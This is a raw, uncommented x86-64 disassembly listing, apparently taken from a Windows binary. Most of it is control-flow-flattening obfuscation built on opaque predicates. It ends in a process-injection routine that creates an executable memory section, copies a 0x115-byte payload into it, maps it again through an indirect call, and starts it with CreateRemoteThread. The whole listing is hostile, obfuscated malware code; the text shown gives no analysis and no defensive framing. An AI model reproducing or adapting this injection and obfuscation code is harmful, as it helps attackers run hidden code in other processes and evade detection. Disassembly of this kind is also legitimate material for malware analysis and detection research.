mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xf29b061
mov eax, 0xf29b061
test sil, 1
je 0x140007170
mov eax, 0xe6e66d07
jmp 0x140007170
mov eax, 0x4dd502ca
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xb00db557
mov eax, 0xb00db557
test sil, 1
je 0x140007170
mov eax, 0x619110d0
jmp 0x140007170
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xfff15ba1
mov eax, 0xeee0f0a
test sil, 1
jne 0x14000775b
mov edx, 0xeee0f0a
jmp 0x14000775b
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x58eae3d
mov eax, 0xb85939b3
test sil, 1
jne 0x14000775b
mov edx, 0xb85939b3
cmp ecx, 0xa
cmovge eax, edx
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe27dabfa
mov eax, 0xe27dabfa
test sil, 1
jne 0x140007161
jmp 0x140007170
mov eax, 0xf29b061
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x8221c996
mov eax, 0x8221c996
test sil, 1
je 0x140007170
jmp 0x140007a15
mov eax, 0x8221c996
jmp 0x140007176
mov eax, 0x7203307b
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x25163aff
mov eax, 0x25163aff
test sil, 1
je 0x140007170
mov eax, 0xcfb64f37
jmp 0x140007170
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe05ef59e
mov eax, 0xe05ef59e
test sil, 1
je 0x140007170
mov eax, 0x58eae3d
jmp 0x140007170
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe9a12701
mov eax, 0xe9a12701
test sil, 1
je 0x140007170
mov eax, 0x3b2a3402
jmp 0x140007170
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x3c811ab2
mov eax, 0x3c811ab2
test sil, 1
je 0x140007170
mov eax, 0xbcec4302
jmp 0x140007170
mov eax, 0x4a09524e
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x207d8a8a
mov eax, 0x207d8a8a
test sil, 1
je 0x140007170
mov eax, 0x34e7d931
jmp 0x140007170
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe57ff74a
mov eax, 0xe57ff74a
test sil, 1
je 0x140007170
jmp 0x140007161
mov eax, 0xe05ef59e
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xcdfd00db
mov eax, 0xcdfd00db
test sil, 1
je 0x140007170
mov eax, 0xf7d1bc49
jmp 0x140007170
mov eax, 0x25163aff
jmp 0x140007176
mov eax, 0xe9a12701
jmp 0x140007176
mov eax, 0xcdfd00db
jmp 0x140007176
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rbp
mov eax, 0xeee0f0a
jmp 0x140007176
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rbp
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x39dd2f62
mov eax, 0x39dd2f62
test sil, 1
je 0x140007170
mov eax, 0xa7680ecf
jmp 0x140007170
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x1d83e734
mov eax, 0x1d83e734
test sil, 1
je 0x140007170
mov eax, 0x493f0e46
jmp 0x140007170
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rbp
mov r14, rax
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x49cc736c
mov eax, 0x49cc736c
test sil, 1
je 0x140007170
mov eax, 0xfff15ba1
jmp 0x140007170
cmp eax, 0x7203307b
jne 0x140007176
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov eax, 0x28a3b2aa
mov rdi, qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
jmp 0x14000600d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x115
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call rdi
mov qword [rsp + 0x20], 0x115
mov rcx, rax
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call rbx
mov rsi, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, r15
call fcn.140008e00
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r12
call section..text
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r13
call fcn.1400022d0
mov eax, 0x263c74f2
jmp 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2b98f61f
mov ecx, 0xc37bf416
jmp 0x140006000
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x115
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call rdi
mov qword [rsp + 0x20], 0x115
mov rcx, rax
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call rbx
mov rsi, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, r15
call fcn.140008e00
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r12
call section..text
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r13
call fcn.1400022d0
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2eb8f543
mov ecx, 0x86adb93c
jmp 0x140006000
mov eax, 0x3dead388
jmp 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd32123d4
mov ecx, 0xaef4c4d6
jmp 0x140006000
cmp eax, 0x61c7eeb8
jne 0x14000600d
mov r9, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret